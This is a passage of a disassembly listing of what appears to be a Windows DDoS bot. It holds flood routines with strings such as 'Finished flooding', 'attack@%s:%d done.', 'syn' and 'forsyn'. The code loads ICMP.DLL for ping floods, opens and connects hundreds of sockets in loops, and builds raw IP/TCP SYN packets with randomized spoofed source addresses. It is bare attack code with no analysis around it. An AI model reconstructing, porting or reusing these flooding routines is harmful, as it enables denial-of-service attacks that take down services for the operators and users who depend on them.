[esp+10h], eax xor edi, edi cmp eax, edi mov [esp+4Ch], edi jz short loc_4263CE mov ecx, eax call sub_401ACD mov edi, eax loc_4263CE: ; CODE XREF: _294ADE7B:004263C3j push offset dword_43B600 lea eax, [esp+18h] push 1 mov byte ptr [ebp+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [edi+91h], ebp call sub_401622 push eax lea ecx, [edi+3Bh] mov dword ptr [esp+50h], 1 call sub_401E65 lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_4011F9 push offset dword_43B600 lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_401622 mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_401726 push eax call ebx add esp, 4 lea ecx, [esp+14h] mov [edi+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_4011F9 push offset dword_43B600 lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_401622 mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_401726 push eax call ebx add esp, 4 lea ecx, [esp+14h] mov [edi+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_4011F9 push offset dword_43B600 lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_401622 mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_401726 push eax call ebx add esp, 4 lea ecx, [esp+14h] mov [edi+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_4011F9 lea ecx, [esi+69h] push ecx lea ecx, [edi+26h] call sub_401E65 mov dl, [esi+93h] mov ecx, edi mov [edi+8Fh], dl mov al, [esi+94h] mov [edi+90h], al call sub_40137F mov edi, [esp+54h] loc_4264FB: ; CODE XREF: _294ADE7B:004263A4j lea ecx, [ebp+4] call sub_401479 push eax mov ecx, edi call sub_4012B7 test eax, eax jnz loc_42666A push 95h call sub_43034A add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_42653B mov ecx, eax call sub_4012CB mov edi, eax jmp short loc_42653D ; --------------------------------------------------------------------------- loc_42653B: ; CODE XREF: _294ADE7B:0042652Ej xor edi, edi loc_42653D: ; CODE XREF: _294ADE7B:00426539j push offset dword_43B600 lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebp+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [edi+91h], ebp call sub_401622 push eax lea ecx, [edi+3Bh] mov dword ptr [esp+50h], 6 call sub_401E65 lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_4011F9 push offset dword_43B600 lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_401622 mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_401726 push eax call ebx add esp, 4 lea ecx, [esp+14h] mov [edi+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_4011F9 push offset dword_43B600 lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_401622 mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_401726 push eax call ebx add esp, 4 lea ecx, [esp+14h] mov [edi+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_4011F9 push offset dword_43B600 lea ecx, [esp+30h] push 4 push ecx mov ecx, esi call sub_401622 mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_401726 push eax call ebx add esp, 4 lea ecx, [esp+2Ch] mov [edi+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_4011F9 lea edx, [esi+69h] lea ecx, [edi+26h] push edx call sub_401E65 mov al, [esi+93h] mov [edi+8Fh], al mov cl, [esi+94h] mov [edi+90h], cl mov ecx, edi call sub_40137F mov edi, [esp+54h] loc_42666A: ; CODE XREF: _294ADE7B:0042650Dj lea ecx, [ebp+0EAh] call sub_401479 push eax mov ecx, edi call sub_4012B7 test eax, eax jnz short loc_426687 mov [ebp+11Ch], al loc_426687: ; CODE XREF: _294ADE7B:0042667Fj mov ecx, [esp+44h] pop edi pop esi pop ebp loc_42668E: ; DATA XREF: sub_404890+1004o mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426770 proc near ; CODE XREF: sub_401983j var_4 = dword ptr -4 push ecx mov edx, ds:dword_44089C push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_426791 inc ecx mov [eax+118h], ecx loc_426791: ; CODE XREF: sub_426770+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4992AB call sub_4011E5 xor eax, eax pop esi pop ecx retn sub_426770 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4267F0 proc near ; CODE XREF: sub_4012CBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4267F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E2E push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_4370BC call sub_401564 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4267F0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426860 proc near ; CODE XREF: sub_4011D6j ; _294ADE7B:00401F0Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401F19 test [esp+4+arg_0], 1 jz short loc_426878 push esi call sub_430332 add esp, 4 loc_426878: ; CODE XREF: sub_426860+Dj mov eax, esi pop esi retn 4 sub_426860 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426890 proc near ; CODE XREF: sub_401F19j jmp sub_40146A sub_426890 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4268B0 proc near ; CODE XREF: sub_40195Bj var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4268B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_401726 push eax mov ecx, ebx call sub_401726 push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_401479 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_48873B call sub_40178F add esp, 28h lea ecx, [esp+34h+var_24] call sub_4013CF mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_401479 push eax call sub_401776 add esp, 10h test eax, eax jz short loc_426974 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_401726 push eax mov ecx, ebx call sub_401726 push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_42698E ; --------------------------------------------------------------------------- loc_426974: ; CODE XREF: sub_4268B0+9Aj mov ecx, ebx call sub_401726 push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_42698E: ; CODE XREF: sub_4268B0+C2j lea ecx, [esp+34h+var_24] call sub_401726 push eax mov ecx, ebp call sub_401479 mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_48873B call sub_40178F add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_4268B0 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426A30 proc near ; CODE XREF: sub_401D48j var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_430390 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" call ds:dword_4B38A4 mov esi, eax test esi, esi jz short loc_426A9A mov edi, ds:dword_4B38A8 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov ds:dword_4B244C, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov ds:dword_4B2450, eax call edi mov ecx, ds:dword_4B244C mov ds:dword_4B2448, eax test ecx, ecx jz short loc_426A9A mov edx, ds:dword_4B2450 test edx, edx jz short loc_426A9A test eax, eax jz short loc_426A9A mov al, [esp+0Bh] test al, al jz short loc_426AA5 loc_426A9A: ; CODE XREF: sub_426A30+1Bj ; sub_426A30+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_426AA5: ; CODE XREF: sub_426A30+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_426ABC mov [esp+24h+arg_FFE8], eax loc_426ABC: ; CODE XREF: sub_426A30+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_426ACF mov ebp, 1 loc_426ACF: ; CODE XREF: sub_426A30+98j call ecx mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_426B14 loc_426AE0: ; CODE XREF: sub_426A30+E2j mov al, ds:byte_488B6A test al, al jz short loc_426B14 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call ds:dword_4B2448 inc esi cmp esi, ebx jl short loc_426AE0 loc_426B14: ; CODE XREF: sub_426A30+AEj ; sub_426A30+B7j push edi call ds:dword_4B2450 pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_426A30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426B70 proc near ; CODE XREF: sub_401776j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_4017C1 mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401D48 add esp, 14h retn sub_426B70 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426BB0 proc near ; CODE XREF: sub_401E2Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426BB0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401D2F lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_4013CF lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_4013CF lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_4013CF lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_4013CF lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_4013CF mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_4370CC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426BB0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426C50 proc near ; CODE XREF: sub_40146Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426C50 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_4370CC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_4011F9 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_4011F9 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_4011F9 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_4011F9 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_4011F9 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401EC9 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_426C50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_426D10: ; CODE XREF: _294ADE7B:loc_401640j ; _294ADE7B:00401FF0j push esi mov esi, ecx call sub_40146A test byte ptr [esp+8], 1 jz short loc_426D28 push esi call sub_430332 add esp, 4 loc_426D28: ; CODE XREF: _294ADE7B:00426D1Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426D40 proc near ; CODE XREF: sub_401ACDj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426D40 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E2E push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_4370DC call sub_401564 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_426D40 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_426DB0: ; CODE XREF: _294ADE7B:00401933j ; _294ADE7B:loc_4019CEj push esi mov esi, ecx call sub_40173F test byte ptr [esp+8], 1 jz short loc_426DC8 push esi call sub_430332 add esp, 4 loc_426DC8: ; CODE XREF: _294ADE7B:00426DBDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426DE0 proc near ; CODE XREF: sub_40173Fj jmp sub_40146A sub_426DE0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_426E00 proc near ; CODE XREF: sub_40131Bj var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_426E00 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4982C3 mov [esp+2Ch+var_28], eax loc_426E26: ; CODE XREF: sub_426E00+35j cmp dword ptr [ecx], 0 jz short loc_426E37 add ecx, 78h inc eax cmp ecx, offset byte_498C23 jl short loc_426E26 loc_426E37: ; CODE XREF: sub_426E00+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_426FE9 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:49824Fh[eax*8] call sub_401726 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx call ds:dword_4B3CB0 and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_426EA0 mov dword ptr [ebp+68h], 5 loc_426EA0: ; CODE XREF: sub_426E00+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_4B2458 mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_401726 push eax mov ecx, esi call sub_401726 push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_401479 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_48873B call sub_40178F mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_4B2658 push 0 push ecx push offset sub_40128A push 0 push 0 call ds:dword_4B3864 test eax, eax mov ds:dword_4B265C, eax jz short loc_426F3B push offset word_4B22F8 push 5 push eax push 0 push offset dword_4B2458 call sub_401393 add esp, 14h mov [ebp+70h], eax jmp short loc_426F6B ; --------------------------------------------------------------------------- loc_426F3B: ; CODE XREF: sub_426E00+11Dj mov ecx, esi call sub_401726 push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_401479 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_48873B call sub_40178F add esp, 18h loc_426F6B: ; CODE XREF: sub_426E00+139j lea ecx, [esp+38h+var_24] call sub_4013CF mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_401726 push eax mov ecx, esi call sub_401726 push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_401726 push eax push offset dword_43B5F0 mov ecx, edi call sub_401479 mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_48873B call sub_40178F add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_4011F9 pop edi pop esi pop ebp loc_426FE9: ; CODE XREF: sub_426E00+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_426E00 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427080 proc near ; CODE XREF: sub_40128Aj var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:49824Fh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax call ds:dword_4B3CB0 push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax call ds:dword_4B3CBC cmp eax, 0FFFFFFFFh jnz short loc_427116 push ebp call ds:dword_4B3CA4 xor edx, edx cmp eax, edx jnz short loc_42710F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov ds:dword_488C69[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_42710F: ; CODE XREF: sub_427080+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_427116: ; CODE XREF: sub_427080+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_4271C6 mov ebx, ds:dword_4B3CAC loc_427135: ; CODE XREF: sub_427080+140j mov al, ds:byte_488B6A test al, al jz loc_4271C6 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_42714B: ; CODE XREF: sub_427080+EFj push 0 push 1 push 2 call ebx cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_42716B lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax call ds:dword_4B3C74 loc_42716B: ; CODE XREF: sub_427080+D8j add esi, 4 dec edi jnz short loc_42714B lea esi, [esp+348h+var_320] mov edi, 0C8h loc_42717A: ; CODE XREF: sub_427080+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax call ds:dword_4B3CB4 add esi, 4 dec edi jnz short loc_42717A mov ecx, [ebp+68h] push ecx call ds:dword_4B38CC lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4271A3: ; CODE XREF: sub_427080+130j mov edx, [esi] push edx call ds:dword_4B3CA8 add esi, 4 dec edi jnz short loc_4271A3 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_427135 loc_4271C6: ; CODE XREF: sub_427080+A9j ; sub_427080+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov ds:dword_488C69[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_427080 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_427250: ; CODE XREF: _294ADE7B:00401CADj push 0FFFFFFFFh push offset loc_434FA8 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi call sub_401E2E push offset aSyn ; "syn" lea ecx, [esi+11h] mov dword ptr [esp+14h], 0 mov dword ptr [esi], offset off_4370EC call sub_401564 mov ecx, [esp+8] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4272C0 proc near ; CODE XREF: _294ADE7B:0040164Aj ; sub_401762j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010E6 test [esp+4+arg_0], 1 jz short loc_4272D8 push esi call sub_430332 add esp, 4 loc_4272D8: ; CODE XREF: sub_4272C0+Dj mov eax, esi pop esi retn 4 sub_4272C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4272F0 proc near ; CODE XREF: sub_4010E6j jmp sub_40146A sub_4272F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427310 proc near ; CODE XREF: sub_401D5Cj var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427310 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_401726 push eax mov ecx, ebx call sub_401726 push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_401479 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_48873B call sub_40178F add esp, 28h lea ecx, [esp+34h+var_24] call sub_4013CF mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_401479 push eax call sub_401C8F cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_401726 push eax mov ecx, ebx call sub_401726 push eax lea eax, [esp+44h+var_24] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+34h+var_24] call sub_401726 push eax mov ecx, ebp call sub_401479 mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_48873B call sub_40178F add esp, 14h mov [esp+34h+var_4], 0FFFFFFFFh lea ecx, [esp+34h+var_24] call sub_4011F9 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427310 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427480 proc near ; CODE XREF: sub_401AB9j var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_78 = dword ptr -78h var_74 = byte ptr -74h var_72 = word ptr -72h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = word ptr -66h var_64 = word ptr -64h var_62 = word ptr -62h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_28 = byte ptr -28h var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov byte ptr [esp+0B0h+var_98+3], 0 call sub_402018 push 0FFh push esi mov byte ptr [esp+0B8h+var_94], al call sub_402018 push 0FFh push esi mov byte ptr [esp+0C0h+var_94+1], al call sub_402018 push 0FFh push esi mov byte ptr [esp+0C8h+var_94+2], al call sub_402018 add esp, 20h cmp word ptr [esp+0A8h+arg_8], si mov byte ptr [esp+0A8h+var_94+3], al jnz short loc_427511 push 2710h push 3E8h mov byte ptr [esp+0B0h+var_98+3], 1 call sub_402018 add esp, 8 mov [esp+0A8h+arg_8], eax loc_427511: ; CODE XREF: sub_427480+71j push 1 push esi push esi push 0FFh push 3 push 2 mov [esp+0C0h+var_5C], 1 call ds:dword_4B3C8C mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+0A8h+var_90], edi jnz short loc_427544 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_427544: ; CODE XREF: sub_427480+B5j lea eax, [esp+0A8h+var_5C] push 4 push eax push 2 push esi push edi call ds:dword_4B3C88 cmp eax, 0FFFFFFFFh jnz short loc_427567 loc_42755A: ; CODE XREF: sub_427480+28Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_427567: ; CODE XREF: sub_427480+D8j mov ecx, [esp+0A8h+arg_8] mov ebp, ds:dword_4B3CB0 push ecx mov [esp+0ACh+var_4C], 2 call ebp mov ebx, [esp+0A8h+arg_0] push 28h mov [esp+0ACh+var_4A], ax mov [esp+0ACh+var_48], ebx mov byte ptr [esp+0ACh+var_88], 45h call ebp push 4000h mov word ptr [esp+0ACh+var_88+2], ax mov word ptr [esp+0ACh+var_84], 1 mov word ptr [esp+0ACh+var_84+2], si mov byte ptr [esp+0ACh+var_80], 80h mov byte ptr [esp+0ACh+var_80+1], 6 mov word ptr [esp+0ACh+var_80+2], si mov [esp+0ACh+var_78], ebx mov [esp+0ACh+var_68], 50h mov [esp+0ACh+var_67], 2 call ebp mov [esp+0A8h+var_66], ax mov [esp+0A8h+var_62], si mov [esp+0A8h+var_6C], esi call ds:dword_4B38D0 mov [esp+0A8h+var_60], eax mov al, ds:byte_488B6A test al, al jz loc_4277BB mov ebx, ds:dword_4B3A9C mov byte ptr [esp+0A8h+var_50], 0 mov byte ptr [esp+0A8h+var_50+1], 6 jmp short loc_427605 ; --------------------------------------------------------------------------- loc_427603: ; CODE XREF: sub_427480+331j xor esi, esi loc_427605: ; CODE XREF: sub_427480+181j mov edi, [esp+0A8h+var_8C] mov edx, [esp+0A8h+arg_8] inc edi push edx mov [esp+0ACh+var_8C], edi mov [esp+0ACh+var_64], si call ebp push 14h mov [esp+0ACh+var_72], ax call ebp mov word ptr [esp+0A8h+var_50+2], ax mov eax, [esp+0A8h+var_94] push eax call ds:dword_4B3C78 mov esi, eax mov dword ptr [esp+0A8h+var_7C], esi call ebx cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp mov word ptr [esp+0A8h+var_74], ax call ebx mov edi, eax shl edi, 10h call ebx or edi, eax push edi call ebp mov edx, [esp+0A8h+arg_0] and eax, 0FFFFh mov [esp+0A8h+var_70], eax mov eax, [esp+0A8h+var_50] mov dword ptr [esp+0A8h+var_3C], esi mov ecx, 5 lea esi, [esp+0A8h+var_74] lea edi, [esp+0A8h+var_30] mov [esp+0A8h+var_38], edx mov [esp+0A8h+var_34], eax rep movsd lea ecx, [esp+0A8h+var_3C] push 20h push ecx call sub_401942 mov ecx, 5 lea esi, [esp+0B0h+var_88] lea edi, [esp+0B0h+var_3C] lea edx, [esp+0B0h+var_3C] rep movsd 